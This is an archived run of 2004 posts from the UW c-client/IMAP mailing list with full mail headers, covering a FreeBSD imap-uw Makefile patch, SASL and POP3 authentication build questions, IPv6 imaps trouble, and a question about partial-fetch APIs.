cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 26 Jul 2004 20:37:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i6R3a5fD010958; Mon, 26 Jul 2004 20:36:05 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6R3YMM6068808 for ; Mon, 26 Jul 2004 20:34:22 -0700 Received: from phineus.cs.brandeis.edu (phineus.cs.brandeis.edu [129.64.3.126]) by mxe1.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6R3Whh2028435 for ; Mon, 26 Jul 2004 20:34:22 -0700 Received: from [192.168.1.102] (ool-182e74f3.dyn.optonline.net [24.46.116.243]) by phineus.cs.brandeis.edu (Postfix) with ESMTP id 8D0D12B803A for ; Mon, 26 Jul 2004 23:04:44 -0400 (EDT) Message-Id: <4105C6A7.4010300@brandeis.edu> Date: Mon, 26 Jul 2004 23:06:15 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sahil Tandon To: c-client@u.washington.edu Subject: Extremely irritating patch that works, and yet doesn't. MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------040904090604080804030300" X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report='UPPERCASE_25_50 0.450, LINES_OF_YELLING 0.001, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __BAT_BOUNDARY 0, X_ACCEPT_LANG 0, __MOZILLA_MSGID 0, __UPPERCASE_25_50 0, __MIME_TEXT_ONLY 0, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------040904090604080804030300 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Attached is a patch file, that exists in my ports tree, specifically /usr/ports/mail/imap-uw/files. After running 'make install', the binaries are put in place and I am able to connect to the server and read mail just fine. However, there is one portion of the patch that doesn't seem to "make it" to the final binary: | -CREATEPROTO=unixproto | +CREATEPROTO=mbxproto Moreover, even though I can verify the patch is "applied" to the Makefile: | sphinx# grep CREATEPROTO= src/osdep/unix/Makefile | CREATEPROTO=mbxproto | CREATEPROTO=mmdfproto EMPTYPROTO=mmdfproto \ | CREATEPROTO=mmdfproto EMPTYPROTO=mmdfproto \ | CREATEPROTO=mmdfproto EMPTYPROTO=mmdfproto \ | CREATEPROTO=mmdfproto EMPTYPROTO=mmdfproto \ | echo -DCREATEPROTO=$(CREATEPROTO) -DEMPTYPROTO=$(EMPTYPROTO) \ ... it doesn't seem to work, because when I connect to the server again via IMAP, and create some new folders, they're all created in the traditional UNIX mailbox format, and not in mbx. FWIW, I'm running FreeBSD-4.10STABLE, and compiling imap-2004 against/with cclient-2004. Thanks for your help and suggestions. Regards, Sahil --------------040904090604080804030300 Content-Type: text/plain; name="patch-ab" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch-ab" --- src/osdep/unix/Makefile.orig Thu Apr 29 19:08:48 2004 +++ src/osdep/unix/Makefile Mon Jul 26 19:44:07 2004 @@ -21,7 +21,7 @@ # Command line build parameters EXTRAAUTHENTICATORS= -EXTRADRIVERS=mbox +EXTRADRIVERS= PASSWDTYPE=std SSLTYPE=nopwd IP=4 @@ -29,13 +29,13 @@ # Extended flags needed for SSL. You may need to modify. -SSLDIR=/usr/local/ssl -SSLCERTS=$(SSLDIR)/certs +SSLDIR=$(OPENSSLBASE) +SSLCERTS=$(PREFIX)/certs SSLKEYS=$(SSLCERTS) -SSLINCLUDE=$(SSLDIR)/include -SSLLIB=$(SSLDIR)/lib +SSLINCLUDE=$(OPENSSLINC) +SSLLIB=$(OPENSSLLIB) -SSLCRYPTO=-lcrypto +SSLCRYPTO=-lcrypto -lcrypt # Older versions of MIT Kerberos also have a libcrypto. If so, you may need # to use this instead @@ -48,7 +48,7 @@ SSLCFLAGS= -I$(SSLINCLUDE) -I$(SSLINCLUDE)/openssl\ -DSSL_CERT_DIRECTORY=\"$(SSLCERTS)\" -DSSL_KEY_DIRECTORY=\"$(SSLKEYS)\" -SSLLDFLAGS= -L$(SSLLIB) -lssl $(SSLCRYPTO) $(SSLRSA) +SSLLDFLAGS= # -L$(SSLLIB) -lssl $(SSLCRYPTO) $(SSLRSA) # Extended flags needed for non-standard passwd types. You may need to modify. @@ -62,7 +62,7 @@ # AFSLDFLAGS may also need -L/usr/ucblib -lucb DCECFLAGS= -DDCE_MINIMAL -DPASSWD_OVERRIDE=\"/opt/pop3/passwd/passwd\" DCELDFLAGS= -ldce -PAMLDFLAGS= -lpam -ldl +PAMLDFLAGS= # -lpam -lcrypt # Build parameters normally set by the individual port @@ -92,14 +92,14 @@ # set certain other formats (e.g. mbx and mx) as the EMPTYPROTO since these # formats can never be empty files. -CREATEPROTO=unixproto +CREATEPROTO=mbxproto EMPTYPROTO=unixproto # Commands possibly overriden by the individual port ARRC=ar rc -CC=cc +CC?=cc LN=ln -s RANLIB=ranlib @@ -117,7 +117,7 @@ dummy.o pseudo.o netmsg.o flstring.o fdstring.o \ rfc822.o nntp.o smtp.o imap4r1.o pop3.o \ unix.o mbx.o mmdf.o tenex.o mtx.o news.o phile.o mh.o mx.o -CFLAGS=-g +CFLAGS+=$(BASECFLAGS) $(EXTRACFLAGS) CAT=cat MAKE=make @@ -200,6 +200,15 @@ BASECFLAGS="-g -B/usr/lib/big/ -Dvoid=char -Dconst=" \ RANLIB=true ARRC="ar -rc" +bfp: # FreeBSD Pluggable Authentication Modules + $(BUILD) `cat SPECIALS` OS=bsi SIGTYPE=psx CHECKPW=pam \ + SPOOLDIR=/var \ + ACTIVEFILE=/usr/local/news/lib/active \ + RSHPATH=/usr/bin/rsh \ + LOCKPGM=$(PREFIX)/libexec/mlock \ + BASECFLAGS="-DNFSKLUDGE" \ + BASELDFLAGS="-lpam -lcrypt" + bs3: # BSD/i386 3.0 or higher $(BUILD) `$(CAT) SPECIALS` OS=bsi \ CHECKPW=bsi LOGINPW=bsi CRXTYPE=nfs \ @@ -219,8 +228,9 @@ SPOOLDIR=/var \ ACTIVEFILE=/usr/local/news/lib/active \ RSHPATH=/usr/bin/rsh \ - BASECFLAGS="-g -O -pipe" \ - BASELDFLAGS="-lcrypt" + LOCKPGM=$(PREFIX)/libexec/mlock \ + BASECFLAGS="-DNFSKLUDGE" \ + BASELDFLAGS="" bsi: # BSD/i386 $(BUILD) `$(CAT) SPECIALS` OS=$@ \ @@ -788,7 +798,7 @@ build: clean once $(ARCHIVE) -all: $(ARCHIVE) +all: onceenv $(ARCHIVE): $(BINARIES) sh -c '$(RM) $(ARCHIVE) || true' --------------040904090604080804030300-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 27 18:07:56 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 27 Jul 2004 18:07:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6S17uWs015387 for ; Tue, 27 Jul 2004 18:07:56 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6S17tvT002815 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 27 Jul 2004 18:07:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i6S16KWx005100; Tue, 27 Jul 2004 18:06:20 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6S14SG9114090 for ; Tue, 27 Jul 2004 18:04:28 -0700 Received: from phineus.cs.brandeis.edu (phineus.cs.brandeis.edu [129.64.3.126]) by mxe5.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6S14Sqw017758 for ; Tue, 27 Jul 2004 18:04:28 -0700 Received: from [192.168.1.102] (ool-182e74f3.dyn.optonline.net [24.46.116.243]) by phineus.cs.brandeis.edu (Postfix) with ESMTP id 3EB322B80AE for ; Tue, 27 Jul 2004 21:04:27 -0400 (EDT) Message-Id: <4106FB1C.3020409@brandeis.edu> Date: Tue, 27 Jul 2004 21:02:20 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sahil Tandon To: c-client@u.washington.edu Subject: Re: Extremely irritating patch that works, and yet doesn't. In-Reply-To: <4105C6A7.4010300@brandeis.edu> References: <4105C6A7.4010300@brandeis.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I wrote: [...] > However, there is one portion of the patch that doesn't seem to "make > it" to the final binary: > > | -CREATEPROTO=unixproto > | +CREATEPROTO=mbxproto [...] I found the problem. Since cclient, which was already installed, had been compiled with CREATEPROTO=unix, the patch to the imap-uw source didn't make a difference. Things are fine after first patching and installing cclient, and then installing imap-uw. -- Sahil Tandon From pinedev@shivax2.cac.washington.edu Thu Jul 29 07:47:33 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Jul 2004 07:47:33 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6TElX44030675 for ; Thu, 29 Jul 2004 07:47:33 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6TElWgX020297 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 29 Jul 2004 07:47:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i6TEk9MW017134; Thu, 29 Jul 2004 07:46:09 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6TEh5kA050564 for ; Thu, 29 Jul 2004 07:43:05 -0700 Received: from ns0.typhoon.co.jp (ns0.typhoon.co.jp [210.174.160.130]) by mxe1.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6TEh49O011299 for ; Thu, 29 Jul 2004 07:43:05 -0700 Received: from ns0.typhoon.co.jp (localhost [127.0.0.1]) by ns0.typhoon.co.jp (8.12.11/8.12.11/TIS) with ESMTP id i6TEh4Eq034771 for ; Thu, 29 Jul 2004 23:43:04 +0900 (JST) Received: from localhost (nfung@localhost) by ns0.typhoon.co.jp (8.12.11/8.12.11/Submit) with ESMTP id i6TEh3s3034768 for ; Thu, 29 Jul 2004 23:43:04 +0900 (JST) Message-Id: Date: Thu, 29 Jul 2004 23:43:03 +0900 (JST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ml To: c-client@u.washington.edu Subject: how do disable SASL when compiling imap-2004a? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello! Is there a way to disable all SASL based authentication when compiling imap-2004a? I'm trying to build a simple pop client which uses USER/PASS authentication only. Currently, it (using src/c-client/pop3.c) defaults to trying "AUTH CRAM-MD5" when it sees "SASL CRAM-MD5" included in the response to the "CAPA" command. Short of hacking pop3.c directly, is there a Makefile option I can change? I have tried changing: DEFAULTAUTHENTICATORS=md5 pla log to DEFAULTAUTHENTICATORS= in src/osdep/unix/Makefile but then the compilation would fail. Many Thanks, N. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Jul 31 00:58:32 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 31 Jul 2004 00:58:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6V7wV61015926 for ; Sat, 31 Jul 2004 00:58:31 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6V7wURn018637 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 31 Jul 2004 00:58:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i6V7uqk9017018; Sat, 31 Jul 2004 00:56:52 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6V7sqXr063672 for ; Sat, 31 Jul 2004 00:54:53 -0700 Received: from egate.xpasc.com ([65.85.17.142]) by mxe2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6V7sqqe017730 for ; Sat, 31 Jul 2004 00:54:52 -0700 Received: from egate.xpasc.com (egate.xpasc.com [10.1.2.49]) by egate.xpasc.com (8.11.2/8.11.2) with ESMTP id i6V7hcI19884 for ; Sat, 31 Jul 2004 00:43:39 -0700 Message-Id: Date: Sat, 31 Jul 2004 00:43:38 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Morris To: Subject: Can't see to get conection to POP3 server on RH9 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I used 'make lrh' to compile the imap tools but I'm obviously missing a key step since neither telnet attempts nor outlook express can connect. It seems like I'm missing an authorization mechanism based on the messages I get when I attempt a telnet connection: -bash-2.05b$ telnet localhost 110 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. +OK POP3 localhost.xpasc.com 2004.88 server ready user dwm -ERR Unknown AUTHORIZATION state command auth +OK Supported authentication mechanisms: . Including the empty list of supported mechanisms ... but I can't seem to find directions on how to populate this list. Thanks, Dave Morris -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Jul 31 17:01:33 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 31 Jul 2004 17:01:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7101Xj4006296 for ; Sat, 31 Jul 2004 17:01:33 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7101UYn023725 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 31 Jul 2004 17:01:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i6VNxuMX008342; Sat, 31 Jul 2004 16:59:56 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6VNwACg048166 for ; Sat, 31 Jul 2004 16:58:10 -0700 Received: from egate.xpasc.com ([65.85.17.142]) by mxe2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6VNw97g012347 for ; Sat, 31 Jul 2004 16:58:09 -0700 Received: from egate.xpasc.com (egate.xpasc.com [10.1.2.49]) by egate.xpasc.com (8.11.2/8.11.2) with ESMTP id i6VNksI22355 for ; Sat, 31 Jul 2004 16:46:55 -0700 Message-Id: Date: Sat, 31 Jul 2004 16:46:54 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Morris To: Subject: Re: Can't see to get conection to POP3 server on RH9 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I kept digging and in the docs/sslbuild document found that adding SSLTYPE=unix to the make command allows for the weak login password situation traditional to pop3 servers. Dave Morris On Sat, 31 Jul 2004, David Morris wrote: > > I used 'make lrh' to compile the imap tools but I'm obviously missing a > key step since neither telnet attempts nor outlook express can connect. > > It seems like I'm missing an authorization mechanism based on the messages > I get when I attempt a telnet connection: > > -bash-2.05b$ telnet localhost 110 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > +OK POP3 localhost.xpasc.com 2004.88 server ready > user dwm > -ERR Unknown AUTHORIZATION state command > auth > +OK Supported authentication mechanisms: > . > > Including the empty list of supported mechanisms ... but I can't seem to > find directions on how to populate this list. > > Thanks, > > Dave Morris > > > From pinedev@shivax2.cac.washington.edu Mon Aug 2 11:53:30 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Aug 2004 11:53:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i72IrUEL015951 for ; Mon, 2 Aug 2004 11:53:30 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i72IrTq6016520 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 2 Aug 2004 11:53:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i72IpNlC018222; Mon, 2 Aug 2004 11:51:24 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i72InfEO112148 for ; Mon, 2 Aug 2004 11:49:41 -0700 Received: from farside.isc.org (farside.isc.org [204.152.187.5]) by mxe4.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i72Infd4014307 for ; Mon, 2 Aug 2004 11:49:41 -0700 Received: from tardis.isc.org (tardis.isc.org [IPv6:2001:4f8:3:bb:230:1bff:fe31:a192]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by farside.isc.org (Postfix) with ESMTP id 05C9EA981; Mon, 2 Aug 2004 18:49:41 +0000 (UTC) (envelope-from Peter_Losher@isc.org) Message-Id: <200408021149.59812.Peter_Losher@isc.org> Date: Mon, 2 Aug 2004 11:49:58 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Losher To: c-client@u.washington.edu Subject: UW-2004a and IPv6 & FreeBSD 4.10 MIME-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-sha1; boundary="Boundary-02=_XzoDBdjIf6qMY/F"; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CTYPE_CHARSET_QUOTED 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Boundary-02=_XzoDBdjIf6qMY/F Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline I just installed 2004a on a freshly installed system running 4.10, with the express goal of getting imaps over IPv6 working. I made the requisite entries in inetd.conf: =2D=3D- imaps stream tcp nowait root /usr/local/libexec/imapd ima= pd imaps stream tcp6 nowait root /usr/local/libexec/imapd ima= pd =2D=3D- Restarted inetd, and all IPv6 queries bomb out w/ this error message: Aug 2 17:35:58 newbox imapd[44126]: Command stream end of file, while flushing line user=3D??? host=3D[NON-IPv4] We don't run IPv4-IPv6 mapping, I have even gone thru and compiled w/ 'make IP=3D6 bsf' on the command line to be sure. Am I missing something obvious here? Best Wishes - Peter =2D-=20 Peter_Losher@isc.org | ISC | OpenPGP 0xE8048D08 | "The bits must flow" --Boundary-02=_XzoDBdjIf6qMY/F Content-Type: application/pgp-signature Content-Description: signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (FreeBSD) iD8DBQBBDozXPtVx9OgEjQgRAh7TAJwL2WfibowRxqXhv4dHu34/XP+nPACgw0dz DQmHkNEP2CQ0mMGJ7Rnj8cM= =ICVY -----END PGP SIGNATURE----- --Boundary-02=_XzoDBdjIf6qMY/F-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Aug 4 21:59:46 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 4 Aug 2004 21:59:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i754xkoZ002993 for ; Wed, 4 Aug 2004 21:59:46 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i754xjhC001608 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 4 Aug 2004 21:59:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i754vBpX011308; Wed, 4 Aug 2004 21:57:12 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i754tXcB110918 for ; Wed, 4 Aug 2004 21:55:33 -0700 Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61]) by mxe2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i754tWn9024617 for ; Wed, 4 Aug 2004 21:55:32 -0700 Received: from 146-115-58-203.c3-0.wtr-ubr1.sbo-wtr.ma.cable.rcn.com ([146.115.58.203] helo=PAKORA) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BsaHr-0006WJ-00 for c-client@u.washington.edu; Thu, 05 Aug 2004 00:55:31 -0400 Message-Id: <017501c47aa8$67804350$030aa8c0@PAKORA> Date: Thu, 5 Aug 2004 00:55:18 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Crispin Olson" To: Subject: Question about mail_partial_body/text MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __OUTLOOK_MSGID_1 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've dug around and found a few comments and even some examples of how to use these functions. However, it begs the question - why do these functions need callback drivers? Why cant they return the data in a string like the mail_fetch... functions? I realise they would need new function names - (mail_partial_fetch..? ) so existing clients don't break. The reason - I'd love to see chunking of imap attachments in PHP (having my webserver barf when some fool mails a 50meg powerpoint file to a few dozen colleagues is a PITA), and the gods at Zend/PHP are more likely to let that happen if there is a function in c-client (for which PHP-IMAP is but a thin veneer). Crispin Olson -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Aug 13 11:36:03 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 13 Aug 2004 11:36:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7DIa3WD007271 for ; Fri, 13 Aug 2004 11:36:03 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7DIa228025003 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 13 Aug 2004 11:36:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7DIY5Mn015230; Fri, 13 Aug 2004 11:34:05 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7DIWSSp010198 for ; Fri, 13 Aug 2004 11:32:28 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe4.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7DIWPJp011388 for ; Fri, 13 Aug 2004 11:32:26 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 8FA163E820F for ; Fri, 13 Aug 2004 13:28:07 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 32593-01; Fri, 13 Aug 2004 13:28:07 